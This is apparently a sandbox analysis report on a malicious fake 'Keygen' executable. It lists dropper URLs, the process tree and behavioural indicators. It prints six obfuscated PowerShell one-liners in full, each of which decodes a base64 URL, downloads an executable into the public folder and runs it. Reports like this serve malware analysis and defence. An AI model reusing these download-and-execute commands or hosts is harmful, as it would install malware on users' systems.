201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
41s
max time network
162s
platform
windows7_x64
resource
win7
submitted
01-10-2020 20:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (81) — копия.exe

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

16 1564 powershell.exe
17 1344 powershell.exe
18 1892 powershell.exe
21 1564 powershell.exe
22 1344 powershell.exe
24 1892 powershell.exe
Downloads MZ/PE file

flow	pid	process
16	1564	powershell.exe
17	1344	powershell.exe
18	1892	powershell.exe
21	1564	powershell.exe
22	1344	powershell.exe
24	1892	powershell.exe

Executes dropped EXE 11 IoCs

Processes:

Keygen.exeguf.exekot.exeygt.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exekot.exeygt.exeNHtrdsaghfDF.exe

pid	process
1896	Keygen.exe
2476	guf.exe
2512	kot.exe
2544	ygt.exe
2648	FVjhgtresfdbv.exe
2704	NHtrdsaghfDF.exe
2732	FVjhgtresfdbv.exe
2780	NHtrdsaghfDF.exe
2816	kot.exe
2900	ygt.exe
2944	NHtrdsaghfDF.exe

Loads dropped DLL 15 IoCs

Processes:

cmd.exepowershell.exepowershell.exepowershell.exekot.exeygt.exeNHtrdsaghfDF.exe

pid	process
1844	cmd.exe
1344	powershell.exe
1564	powershell.exe
1564	powershell.exe
1892	powershell.exe
1892	powershell.exe
2512	kot.exe
2512	kot.exe
2512	kot.exe
2512	kot.exe
2544	ygt.exe
2544	ygt.exe
2544	ygt.exe
2544	ygt.exe
2780	NHtrdsaghfDF.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

kot.exeygt.exeNHtrdsaghfDF.exe

description	pid	process	target process
PID 2512 set thread context of 2816	2512	kot.exe	kot.exe
PID 2544 set thread context of 2900	2544	ygt.exe	ygt.exe
PID 2780 set thread context of 2944	2780	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

1768 timeout.exe
520 timeout.exe
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main mshta.exe

pid	process
1768	timeout.exe
520	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
1948	powershell.exe
432	powershell.exe
1344	powershell.exe
1980	powershell.exe
1564	powershell.exe
1892	powershell.exe
1564	powershell.exe
432	powershell.exe
1948	powershell.exe
1344	powershell.exe
1892	powershell.exe
1980	powershell.exe

Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

kot.exeygt.exeNHtrdsaghfDF.exe

pid process

2512 kot.exe
2544 ygt.exe
2780 NHtrdsaghfDF.exe

pid	process
2512	kot.exe
2544	ygt.exe
2780	NHtrdsaghfDF.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1344	powershell.exe
Token: SeDebugPrivilege	432	powershell.exe
Token: SeDebugPrivilege	1892	powershell.exe
Token: SeDebugPrivilege	1948	powershell.exe
Token: SeDebugPrivilege	1980	powershell.exe
Token: SeDebugPrivilege	1564	powershell.exe

Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

Keygen.exekot.exeygt.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeNHtrdsaghfDF.exe

pid process

1896 Keygen.exe
2512 kot.exe
2544 ygt.exe
2648 FVjhgtresfdbv.exe
2780 NHtrdsaghfDF.exe
2704 NHtrdsaghfDF.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (81) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exe

description	pid	process	target process
PID 596 wrote to memory of 1844	596	Keygen — копия (81) — копия.exe	cmd.exe
PID 596 wrote to memory of 1844	596	Keygen — копия (81) — копия.exe	cmd.exe
PID 596 wrote to memory of 1844	596	Keygen — копия (81) — копия.exe	cmd.exe
PID 596 wrote to memory of 1844	596	Keygen — копия (81) — копия.exe	cmd.exe
PID 1844 wrote to memory of 1896	1844	cmd.exe	Keygen.exe
PID 1844 wrote to memory of 1896	1844	cmd.exe	Keygen.exe
PID 1844 wrote to memory of 1896	1844	cmd.exe	Keygen.exe
PID 1844 wrote to memory of 1896	1844	cmd.exe	Keygen.exe
PID 1844 wrote to memory of 1912	1844	cmd.exe	mshta.exe
PID 1844 wrote to memory of 1912	1844	cmd.exe	mshta.exe
PID 1844 wrote to memory of 1912	1844	cmd.exe	mshta.exe
PID 1844 wrote to memory of 1912	1844	cmd.exe	mshta.exe
PID 1844 wrote to memory of 1780	1844	cmd.exe	mshta.exe
PID 1844 wrote to memory of 1780	1844	cmd.exe	mshta.exe
PID 1844 wrote to memory of 1780	1844	cmd.exe	mshta.exe
PID 1844 wrote to memory of 1780	1844	cmd.exe	mshta.exe
PID 1844 wrote to memory of 1768	1844	cmd.exe	timeout.exe
PID 1844 wrote to memory of 1768	1844	cmd.exe	timeout.exe
PID 1844 wrote to memory of 1768	1844	cmd.exe	timeout.exe
PID 1844 wrote to memory of 1768	1844	cmd.exe	timeout.exe
PID 1912 wrote to memory of 1564	1912	mshta.exe	powershell.exe
PID 1912 wrote to memory of 1564	1912	mshta.exe	powershell.exe
PID 1912 wrote to memory of 1564	1912	mshta.exe	powershell.exe
PID 1912 wrote to memory of 1564	1912	mshta.exe	powershell.exe
PID 1780 wrote to memory of 1980	1780	mshta.exe	powershell.exe
PID 1780 wrote to memory of 1980	1780	mshta.exe	powershell.exe
PID 1780 wrote to memory of 1980	1780	mshta.exe	powershell.exe
PID 1780 wrote to memory of 1980	1780	mshta.exe	powershell.exe
PID 1844 wrote to memory of 1984	1844	cmd.exe	mshta.exe
PID 1844 wrote to memory of 1984	1844	cmd.exe	mshta.exe
PID 1844 wrote to memory of 1984	1844	cmd.exe	mshta.exe
PID 1844 wrote to memory of 1984	1844	cmd.exe	mshta.exe
PID 1844 wrote to memory of 2040	1844	cmd.exe	mshta.exe
PID 1844 wrote to memory of 2040	1844	cmd.exe	mshta.exe
PID 1844 wrote to memory of 2040	1844	cmd.exe	mshta.exe
PID 1844 wrote to memory of 2040	1844	cmd.exe	mshta.exe
PID 1844 wrote to memory of 520	1844	cmd.exe	timeout.exe
PID 1844 wrote to memory of 520	1844	cmd.exe	timeout.exe
PID 1844 wrote to memory of 520	1844	cmd.exe	timeout.exe
PID 1844 wrote to memory of 520	1844	cmd.exe	timeout.exe
PID 1984 wrote to memory of 1344	1984	mshta.exe	powershell.exe
PID 1984 wrote to memory of 1344	1984	mshta.exe	powershell.exe
PID 1984 wrote to memory of 1344	1984	mshta.exe	powershell.exe
PID 1984 wrote to memory of 1344	1984	mshta.exe	powershell.exe
PID 2040 wrote to memory of 432	2040	mshta.exe	powershell.exe
PID 2040 wrote to memory of 432	2040	mshta.exe	powershell.exe
PID 2040 wrote to memory of 432	2040	mshta.exe	powershell.exe
PID 2040 wrote to memory of 432	2040	mshta.exe	powershell.exe
PID 1844 wrote to memory of 1232	1844	cmd.exe	mshta.exe
PID 1844 wrote to memory of 1232	1844	cmd.exe	mshta.exe
PID 1844 wrote to memory of 1232	1844	cmd.exe	mshta.exe
PID 1844 wrote to memory of 1232	1844	cmd.exe	mshta.exe
PID 1844 wrote to memory of 1412	1844	cmd.exe	mshta.exe
PID 1844 wrote to memory of 1412	1844	cmd.exe	mshta.exe
PID 1844 wrote to memory of 1412	1844	cmd.exe	mshta.exe
PID 1844 wrote to memory of 1412	1844	cmd.exe	mshta.exe
PID 1232 wrote to memory of 1892	1232	mshta.exe	powershell.exe
PID 1232 wrote to memory of 1892	1232	mshta.exe	powershell.exe
PID 1232 wrote to memory of 1892	1232	mshta.exe	powershell.exe
PID 1232 wrote to memory of 1892	1232	mshta.exe	powershell.exe
PID 1412 wrote to memory of 1948	1412	mshta.exe	powershell.exe
PID 1412 wrote to memory of 1948	1412	mshta.exe	powershell.exe
PID 1412 wrote to memory of 1948	1412	mshta.exe	powershell.exe
PID 1412 wrote to memory of 1948	1412	mshta.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (81) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (81) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:596

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\535E.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (81) — ?????.exe""
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1844

C:\Users\Admin\AppData\Local\Temp\535E.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1896

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\535E.tmp\m.hta"
3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1912

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1564

C:\Users\Public\kot.exe
"C:\Users\Public\kot.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2512

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2648

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2704

C:\Users\Public\kot.exe
"C:\Users\Public\kot.exe"
6⤵
- Executes dropped EXE
PID:2816

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\535E.tmp\m1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1780

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1980

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:1768

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\535E.tmp\b.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1984

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1344

C:\Users\Public\guf.exe
"C:\Users\Public\guf.exe"
5⤵
- Executes dropped EXE
PID:2476

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\535E.tmp\b1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:2040

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:432

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:520

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\535E.tmp\ba.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1232

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1892

C:\Users\Public\ygt.exe
"C:\Users\Public\ygt.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2544

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
PID:2732

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2780

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:2944

C:\Users\Public\ygt.exe
"C:\Users\Public\ygt.exe"
6⤵
- Executes dropped EXE
PID:2900

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\535E.tmp\ba1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1412

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1948

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_231c2208-0720-4eec-b9f1-8bba11abd9fa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_57c6647c-75fc-47bb-8ce4-3b8f0921c533

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6d5fa298-996f-4fc9-9c01-b2226cbdaeba

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7d6878ec-2a8b-418c-8f2b-b6fcd4b50cf8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_de4eedb8-4762-4c56-b80c-203df3aa6fa8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e43ce3f6-b60d-4b70-bed1-86e53bf07360

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fabbb9cf-9b8c-4b2f-b33d-0de7a9a3a10e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Local\Temp\535E.tmp\Keygen.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\535E.tmp\Keygen.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\535E.tmp\b.hta

Download Submit
C:\Users\Admin\AppData\Local\Temp\535E.tmp\b1.hta

Download Submit
C:\Users\Admin\AppData\Local\Temp\535E.tmp\ba.hta

Download Submit
C:\Users\Admin\AppData\Local\Temp\535E.tmp\ba1.hta

Download Submit
